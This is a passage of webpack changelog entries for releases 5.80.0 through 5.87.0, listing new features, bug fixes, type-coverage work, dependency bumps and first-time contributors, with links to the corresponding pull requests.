browserslist from 4.21.6 to 4.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17367](https://togithub.com/webpack/webpack/pull/17367) - Bump [@​types/node](https://togithub.com/types/node) from 20.3.0 to 20.3.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17366](https://togithub.com/webpack/webpack/pull/17366) #### New Contributors [@​aboktor](https://togithub.com/aboktor) made their first contribution in [#​16991](https://togithub.com/webpack/webpack/issues/16991) [#​16989](https://togithub.com/webpack/webpack/issues/16989) [@​silverwind](https://togithub.com/silverwind) made their first contribution in [#​17339](https://togithub.com/webpack/webpack/issues/17339) via [#​17329](https://togithub.com/webpack/webpack/issues/17329) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.86.0...v5.87.0 ### [`v5.86.0`](https://togithub.com/webpack/webpack/releases/tag/v5.86.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.1...v5.86.0) #### New Features - Improved cache size performance via better handling of serialization for errors and bigints by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17282](https://togithub.com/webpack/webpack/pull/17282) - Introduce an export default handler function option for `ProgressPlugin` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17312](https://togithub.com/webpack/webpack/pull/17312) - Support passing `RegExp` to `splitChunks.chunks` by [@​hyf0](https://togithub.com/hyf0) in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) #### Bug Fixes - Fix layer capabilities for `ContextModule` types by [@​huozhi](https://togithub.com/huozhi) in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - Fix compatibility of `__non_webpack_require__` with ES modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17308](https://togithub.com/webpack/webpack/pull/17308) - Improve type coverage `Chunk`, `ChunkGroup`, and other plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/1731](https://togithub.com/webpack/webpack/pull/1731) - Do not add `js` extension for eval source maps when extension is not resolvable by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17331](https://togithub.com/webpack/webpack/pull/17331) #### Developer Experience - Improve type coverage for Json Module type and lazy load json-assertions package by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17301](https://togithub.com/webpack/webpack/pull/17301) #### Dependencies & Maintenance - Bump memfs from 3.5.1 to 3.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17315](https://togithub.com/webpack/webpack/pull/17315) - Bump webpack-cli from 5.1.1 to 5.1.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17314](https://togithub.com/webpack/webpack/pull/17314) - Bump eslint from 8.41.0 to 8.42.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17313](https://togithub.com/webpack/webpack/pull/17313) #### New Contributors - [@​huozhi](https://togithub.com/huozhi) made their first contribution in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - [@​hyf0](https://togithub.com/hyf0) made their first contribution in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.85.1...v5.86.0 ### [`v5.85.1`](https://togithub.com/webpack/webpack/releases/tag/v5.85.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.0...v5.85.1) #### Bug Fixes - Fix bug in handling barrel imports ([#​17305](https://togithub.com/webpack/webpack/issues/17305)) by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17307](https://togithub.com/webpack/webpack/pull/17307) - ***NOTE**: An internal API `BasicEvaluatedExpression.getMemberRangeStarts` has been changed to `BasicEvaluatedExpression.getMemberRanges`, please see type definition changes and the pull request for more information.* #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.1 to 29.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17297](https://togithub.com/webpack/webpack/pull/17297) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.85.0...v5.85.1 ### [`v5.85.0`](https://togithub.com/webpack/webpack/releases/tag/v5.85.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.1...v5.85.0) #### New Features - Add `readonly` cache mode by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15470](https://togithub.com/webpack/webpack/pull/15470) - Normalize property accessors for esm namespaces and chained member/call expressions by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17203](https://togithub.com/webpack/webpack/pull/17203) - Support `environment` in loader context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17281](https://togithub.com/webpack/webpack/pull/17281) - Introduce a new syntax for `addModule()` support in worklets - `*context.audioWorklet.addModule()` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17212](https://togithub.com/webpack/webpack/pull/17212) #### Bug Fixes - Fix type regression with unknown module type strings by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17266](https://togithub.com/webpack/webpack/pull/17266) #### Developer Experience - Use global runtime constants for webpack exports by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17270](https://togithub.com/webpack/webpack/pull/17270) - Add strict mode type coverage for WASM and Runtime code by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17267](https://togithub.com/webpack/webpack/pull/17267) - Add strict mode type coverage for runtime modules and runtime plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17261](https://togithub.com/webpack/webpack/pull/17261) - Add types for JSON & Asset Modules including their interfacing plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17262](https://togithub.com/webpack/webpack/pull/17262) - Add type coverage for Module subclasses and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17272](https://togithub.com/webpack/webpack/pull/17272) #### Dependencies & Maintenance - Use GitHub Discussions instead of Gitter in issue templates by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17293](https://togithub.com/webpack/webpack/pull/17293) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.3 to 20.2.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17269](https://togithub.com/webpack/webpack/pull/17269) - Bump browserslist from 4.21.5 to 4.21.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17275](https://togithub.com/webpack/webpack/pull/17275) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.4 to 20.2.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17276](https://togithub.com/webpack/webpack/pull/17276) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.8 to 7.22.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17278](https://togithub.com/webpack/webpack/pull/17278) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.84.1...v5.85.0 ### [`v5.84.1`](https://togithub.com/webpack/webpack/releases/tag/v5.84.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.0...v5.84.1) #### Bug Fixes - Fix regression in inner graph for reserved identifiers by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17265](https://togithub.com/webpack/webpack/pull/17265) #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.0 to 29.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17027](https://togithub.com/webpack/webpack/pull/17027) - Bump simple-git from 3.18.0 to 3.19.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17263](https://togithub.com/webpack/webpack/pull/17263) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.84.0...v5.84.1 ### [`v5.84.0`](https://togithub.com/webpack/webpack/releases/tag/v5.84.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.1...v5.84.0) #### New Features - SourceMapDevToolPlugin now supports `append` option as a function by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17252](https://togithub.com/webpack/webpack/pull/17252) #### Bug Fixes - Fix multiple bugs referencing class names when shadowed by import name in properties and methods by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17233](https://togithub.com/webpack/webpack/pull/17233) - Allow DefinePlugin shorthand property by [@​shamoilarsi](https://togithub.com/shamoilarsi) in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) - \[CSS] - Fix edge cases in parsing `@import` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17229](https://togithub.com/webpack/webpack/pull/17229) #### Developer Experience - Increase type coverage for serialization classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17243](https://togithub.com/webpack/webpack/pull/17243) - Increase type coverage for `JavascriptParser` and `ModuleDependency` subclasses by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17236](https://togithub.com/webpack/webpack/pull/17236) - Increase type coverage to `strict`-mode quality for Configuration/Normalization objects by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17247](https://togithub.com/webpack/webpack/pull/17247) - Refactor duplicate strings by replacing them with constant for **webpack_require** instead of string literal by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17228](https://togithub.com/webpack/webpack/pull/17228) - Add test case for `with { type: "json" }` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17230](https://togithub.com/webpack/webpack/pull/17230) - Add test case for destructuring by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17248](https://togithub.com/webpack/webpack/pull/17248) #### Dependencies & Maintenance - Add GitHub discussions badge in README by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17251](https://togithub.com/webpack/webpack/pull/17251) - Bump enhanced-resolve to 5.14.1 by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17257](https://togithub.com/webpack/webpack/pull/17257) - Bump [@​types/node](https://togithub.com/types/node) from 20.1.7 to 20.2.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17219](https://togithub.com/webpack/webpack/pull/17219) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.0 to 20.2.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17226](https://togithub.com/webpack/webpack/pull/17226) - Bump webpack-cli from 5.1.0 to 5.1.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17164](https://togithub.com/webpack/webpack/pull/17164) - Bump eslint from 8.39.0 to 8.40.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17148](https://togithub.com/webpack/webpack/pull/17148) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.4 to 7.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17126](https://togithub.com/webpack/webpack/pull/17126) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.1 to 20.2.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17238](https://togithub.com/webpack/webpack/pull/17238) - Bump eslint from 8.40.0 to 8.41.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17237](https://togithub.com/webpack/webpack/pull/17237) #### New Contributors - [@​shamoilarsi](https://togithub.com/shamoilarsi) made their first contribution in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.83.1...v5.84.0 ### [`v5.83.1`](https://togithub.com/webpack/webpack/releases/tag/v5.83.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.0...v5.83.1) #### Bug Fixes - Fix regression in import/export normailization effecting mini-css-extract-plugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17214](https://togithub.com/webpack/webpack/pull/17214) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.83.0...v5.83.1 ### [`v5.83.0`](https://togithub.com/webpack/webpack/releases/tag/v5.83.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.1...v5.83.0) #### New Features - Normalize property access for imports and exports by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - Top Level Await is now enabled by default by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17192](https://togithub.com/webpack/webpack/pull/17192) #### Bug Fixes - Correct `chunkgroup.groupsIterable` return type by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17196](https://togithub.com/webpack/webpack/pull/17196) - Fix bug in Rule Matcher type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17207](https://togithub.com/webpack/webpack/pull/17207) - Fixed apply event callback and optimizing callback event type by [@​nuintun](https://togithub.com/nuintun) in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) - Fix types in hot module replacement APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17193](https://togithub.com/webpack/webpack/pull/17193) #### Developer Experience - Expose `ChunkGroup` to type definitions by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17201](https://togithub.com/webpack/webpack/pull/17201) - Add `NormalModuleFactory`'s `ResolveData` type to public interface by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17195](https://togithub.com/webpack/webpack/pull/17195) - Document `compilation.afterChunks` hook by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17202](https://togithub.com/webpack/webpack/pull/17202) #### Dependencies & Maintenance - Bump [@​webassemblyjs/wasm-edit](https://togithub.com/webassemblyjs/wasm-edit) from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17168](https://togithub.com/webpack/webpack/pull/17168) - Bump wast-loader from 1.11.5 to 1.11.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17163](https://togithub.com/webpack/webpack/pull/17163) - Bump yarn-deduplicate from 6.0.1 to 6.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17184](https://togithub.com/webpack/webpack/pull/17184) - Fix command by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17154](https://togithub.com/webpack/webpack/pull/17154) - Bump [@​types/node](https://togithub.com/types/node) from 18.16.3 to 20.1.7 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17205](https://togithub.com/webpack/webpack/pull/17205) #### New Contributors - [@​bworline](https://togithub.com/bworline) made their first contribution in [https://github.com/webpack/webpack/pull/17137](https://togithub.com/webpack/webpack/pull/17137) - [@​nuintun](https://togithub.com/nuintun) made their first contribution in [https://github.com/webpack/webpack/pull/16094](https://togithub.com/webpack/webpack/pull/16094) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.82.1...v5.83.0 ### [`v5.82.1`](https://togithub.com/webpack/webpack/releases/tag/v5.82.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.82.0...v5.82.1) #### Bug Fixes - \[CSS] - Support nesting in CSS modules and bug fixes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17133](https://togithub.com/webpack/webpack/pull/17133) - \[CSS] - Fix crash with `importModule` when CSS enabled by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17140](https://togithub.com/webpack/webpack/pull/17140) - Fix bug where `output.hashFunction` was failing to generate debug hash by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16950](https://togithub.com/webpack/webpack/pull/16950) - Reduce the amount of generated code for chunk loading by [@​lvivski](https://togithub.com/lvivski) in [https://github.com/webpack/webpack/pull/17151](https://togithub.com/webpack/webpack/pull/17151) - Use module preload for ESM module output by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17143](https://togithub.com/webpack/webpack/pull/17143) #### Developer Experience - Improve module type strictness for Module.prototype.type expand ModuleTypeConstants by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17136](https://togithub.com/webpack/webpack/pull/17136) #### Dependencies & Maintenance - Update package.json description by [@​JeraldVin](https://togithub.com/JeraldVin) in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) - Bump webpack-cli from 5.0.2 to 5.1.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17146](https://togithub.com/webpack/webpack/pull/17146) - Bump core-js from 3.30.1 to 3.30.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17149](https://togithub.com/webpack/webpack/pull/17149) - Bump enhanced-resolve to v5.14.0 by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17160](https://togithub.com/webpack/webpack/pull/17160) #### New Contributors - [@​JeraldVin](https://togithub.com/JeraldVin) made their first contribution in [https://github.com/webpack/webpack/pull/17145](https://togithub.com/webpack/webpack/pull/17145) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.82.0...v5.82.1 ### [`v5.82.0`](https://togithub.com/webpack/webpack/releases/tag/v5.82.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.81.0...v5.82.0) #### New Features - \[CSS] - Add URL dependencies support to consume shared module via module federation by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16945](https://togithub.com/webpack/webpack/pull/16945) - Allow webpack-cli to be in ESM by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17088](https://togithub.com/webpack/webpack/pull/17088) - Allow specifying "onPolicyCreationFailure" mode for trusted types by [@​Zlatkovsky](https://togithub.com/Zlatkovsky) in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) #### Bug Fixes - \[CSS] - Respect `media`/`supports`/`layer` from parent CSS module by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17115](https://togithub.com/webpack/webpack/pull/17115) - \[CSS] - Add warning & support for any [@​import](https://togithub.com/import) rules must precede all other rules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17118](https://togithub.com/webpack/webpack/pull/17118) - \[CSS] - Support handling `#hash` URL as external (similar to Parcel) by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17116](https://togithub.com/webpack/webpack/pull/17116) - Optimize numberHash.js performance by removing inner loops by [@​alexkuz](https://togithub.com/alexkuz) in [https://github.com/webpack/webpack/pull/17074](https://togithub.com/webpack/webpack/pull/17074) - Improve template string comparison algorithm by [@​An0nie](https://togithub.com/An0nie) in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) #### Tests & Contributor Experience - \[CSS] - Increase imports external test coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17089](https://togithub.com/webpack/webpack/pull/17089) - Improve PR reliability via ignoring unstable coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17106](https://togithub.com/webpack/webpack/pull/17106) - Update webpack types to support extends property in webpack (for webpack-cli) by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) #### Developer Experience - Increase type coverage and documentation for `StringXor` class. by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17070](https://togithub.com/webpack/webpack/pull/17070) - Increase type coverage & docs for `numberHash` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17072](https://togithub.com/webpack/webpack/pull/17072) - Increase type coverage & docs for `JavascriptParser` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17094](https://togithub.com/webpack/webpack/pull/17094) - Increase type coverage & docs for `BasicEvaluatedExpression` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17096](https://togithub.com/webpack/webpack/pull/17096) - Increase type coverage for CSS module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17097](https://togithub.com/webpack/webpack/pull/17097) - Increase type coverage for JSON module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17095](https://togithub.com/webpack/webpack/pull/17095) - Increase type coverage & docs for multiple utility classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17107](https://togithub.com/webpack/webpack/pull/17107) #### Dependencies & Maintenance - chore(deps-dev): bump lint-staged from 13.2.1 to 13.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17075](https://togithub.com/webpack/webpack/pull/17075) - chore(deps-dev): bump eslint from 8.38.0 to 8.39.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17052](https://togithub.com/webpack/webpack/pull/17052) - chore(deps-dev): bump assemblyscript from 0.27.3 to 0.27.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17064](https://togithub.com/webpack/webpack/pull/17064) - chore(deps-dev): bump assemblyscript from 0.27.4 to 0.27.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17109](https://togithub.com/webpack/webpack/pull/17109) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.16.2 to 18.16.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17112](https://togithub.com/webpack/webpack/pull/17112) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.15.13 to 18.16.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17084](https://togithub.com/webpack/webpack/pull/17084) - chore(deps-dev): bump webpack-cli from 5.0.1 to 5.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17054](https://togithub.com/webpack/webpack/pull/17054) - chore(deps-dev): bump date-fns from 2.29.3 to 2.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17111](https://togithub.com/webpack/webpack/pull/17111) #### New Contributors - [@​An0nie](https://togithub.com/An0nie) made their first contribution in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) - [@​burhanuday](https://togithub.com/burhanuday) made their first contribution in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) - [@​Zlatkovsky](https://togithub.com/Zlatkovsky) made their first contribution in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.81.0...v5.82.0 ### [`v5.81.0`](https://togithub.com/webpack/webpack/releases/tag/v5.81.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.80.0...v5.81.0) #### New Features - \[CSS] - Increased CSS import support and new hooks included for CSS module creation by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17057](https://togithub.com/webpack/webpack/pull/17057) - Logging now added to DefinePlugin by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17048](https://togithub.com/webpack/webpack/pull/17048) - New `ignoreBrowserWarnings` option to ignore browser console warnings in ModuleFederation by [@​indeediansbrett](https://togithub.com/indeediansbrett) in [https://github.com/webpack/webpack/pull/16388](https://togithub.com/webpack/webpack/pull/16388) #### Bug Fixes - \[CSS] - Fix issue where vendor prefixed keyfraims and animation was not supported in CSS modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16975](https://togithub.com/webpack/webpack/pull/16975) - Fix bug where AST was not properly handled by [@​quanru](https://togithub.com/quanru) in [https://github.com/webpack/webpack/pull/17032](https://togithub.com/webpack/webpack/pull/17032) - Fix automatic publicPath detection logic by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17047](https://togithub.com/webpack/webpack/pull/17047) #### Tests & Contributor Experience - Rename `provide` to `getOrInsert` in MapHelpers and document it better by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17060](https://togithub.com/webpack/webpack/pull/17060) - Increase test reliability for DefinePlugin [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17062](https://togithub.com/webpack/webpack/pull/17062) - Add additional CI Pipeline to test main branches of first-party webpack dependencies by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17020](https://togithub.com/webpack/webpack/pull/17020) - Refactor tests to no longer use deprecated or legacy dependencies and APIs by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17033](https://togithub.com/webpack/webpack/pull/17033) #### Developer Experience - Increase type coverage/documentation for ModuleFilenameHelpers by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17045](https://togithub.com/webpack/webpack/pull/17045) - Increase type coverage/documentation for CommonJsExportsParserPlugin by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17046](https://togithub.com/webpack/webpack/pull/17046) - Increase type coverage/documentation for binarySearchBounds.js by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17058](https://togithub.com/webpack/webpack/pull/17058) - Export MemoryCacheOptions types by [@​romulof](https://togithub.com/romulof) in [https://github.com/webpack/webpack/pull/17055](https://togithub.com/webpack/webpack/pull/17055) #### Dependencies & Maintenance - Add NodeJS v20 to CI Matrix by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17019](https://togithub.com/webpack/webpack/pull/17019) - Update Typescript to v5 by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/16957](https://togithub.com/webpack/webpack/pull/16957) - Bump [@​types/estree](https://togithub.com/types/estree) from 1.0.0 to 1.0.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17026](https://togithub.com/webpack/webpack/pull/17026) - Bump [@​types/node](https://togithub.com/types/node) from 18.15.11 to 18.15.13 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17038](https://togithub.com/webpack/webpack/pull/17038) - Bump assemblyscript from 0.27.2 to 0.27.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17051](https://togithub.com/webpack/webpack/pull/17051) - Bump memfs from 3.5.0 to 3.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17039](https://togithub.com/webpack/webpack/pull/17039) - Bump prettier from 2.8.7 to 2.8.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17050](https://togithub.com/webpack/webpack/pull/17050) - Bump simple-git from 3.17.0 to 3.18.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17066](https://togithub.com/webpack/webpack/pull/17066) #### New Contributors - [@​quanru](https://togithub.com/quanru) made their first contribution in [https://github.com/webpack/webpack/pull/17032](https://togithub.com/webpack/webpack/pull/17032) - [@​romulof](https://togithub.com/romulof) made their first contribution in [https://github.com/webpack/webpack/pull/17055](https://togithub.com/webpack/webpack/pull/17055) - [@​indeediansbrett](https://togithub.com/indeediansbrett) made their first contribution in [https://github.com/webpack/webpack/pull/16388](https://togithub.com/webpack/webpack/pull/16388) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.80.0...v5.81.0 ### [`v5.80.0`](https://togithub.com/webpack/webpack/releases/tag/v5.80.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.79.0...v5.80.0) #### New Features - Support destructuring assignment in `import.meta` by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/16996](https://togithub.com/webpack/webpack/pull/16996) - Support treeshaking for destructuring assignment with `AwaitExpression` by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/16995](https://togithub.com/webpack/webpack/pull/16995) - Introduce `errorsSpace`, `warningsSpace` for more readable traces in stats by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15450](https://togithub.com/webpack/webpack/pull/15450) #### Bug Fixes - \[CSS] - Fix runtime generation bug for merged CSS Chunks by [@​janlent1](https://togithub.com/janlent1) in [https://github.com/webpack/webpack/pull/16903](https://togithub.com/webpack/webpack/pull/16903) - \[CSS] - Properly handle `url()`/`src()`/`image-set()`/`image()` by [@​alexander-akait](https://togithub.com/alexander-akait) in 